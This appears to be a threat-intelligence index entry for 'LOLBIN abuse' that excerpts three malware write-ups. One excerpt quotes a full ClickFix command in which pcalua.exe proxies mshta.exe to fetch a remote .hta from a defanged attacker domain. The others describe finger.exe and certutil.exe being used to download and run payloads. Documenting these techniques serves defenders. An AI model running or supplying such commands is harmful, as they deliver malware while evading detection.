🎯 LOLBIN abuse

The items that name it 3

• Potemkin Loader & RMMProject The Anatomy of a ClickFix Attack
  writeup2026-06-16It is written here as LOLBIN abuse (pcalua.exe proxying mshta.exe).

  cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta" abuses pcalua.exe as a living-off-the-land binary to proxy mshta.exe execution and evade process-based detections.

• Dissecting CrashFix: KongTuke's New Toy
  writeup2026-01-16It is written here as LOLBin abuse (finger.exe).

  finger.exe copied to %temp% as ct.exe and used to fetch remote payload data piped directly to cmd, a Living-off-the-Land technique.

• Trial, Error & Typos: Malware Isn't Always 'Sophisticated' | Huntress
  writeup2025-12-22It is written here as LOLBin abuse (certutil.exe).

  Used certutil.exe -urlcache -split -f to download and decode a payload to disk and execute it.